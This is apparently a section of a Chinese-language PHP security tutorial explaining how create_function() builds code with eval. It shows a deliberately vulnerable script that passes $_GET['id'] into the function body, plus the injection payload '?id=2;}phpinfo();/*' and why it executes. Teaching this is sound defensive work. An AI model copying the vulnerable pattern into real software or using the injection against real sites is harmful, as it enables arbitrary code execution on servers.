2.21.8 creat

create_function()

语法:

create_function — Create an anonymous (lambda-style) function

create_function ( string $args , string $code ) : string

从创建一个匿名函数传递的参数,并返回一个唯一的名称。

过程如下:

获取参数, 函数体;
拼凑一个”function _lambdafunc (参数) { 函数体;} “的字符串;
eval;
通过_lambdafunc在函数表中找到eval后得到的函数体, 找不到就出错;
定义一个函数名:”lambda” . count(anonymous_functions)++;
用新的函数名替换_lambdafunc;
返回新的函数。

args The function arguments.

code The function code.

简单实例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

在此函数中存在create_function()注入

create_function()注入

代码如下:

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

payload:

?id=2;}phpinfo();/*

原理:

源代码:
function fT($a) {
echo "test".$a;
}
注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}

;}闭合了函数,phpinfo();后的/*会注释掉之后的代码,而我们之前说过,create_function函数是调用了eval的,所以phpinfo()函数得以执行。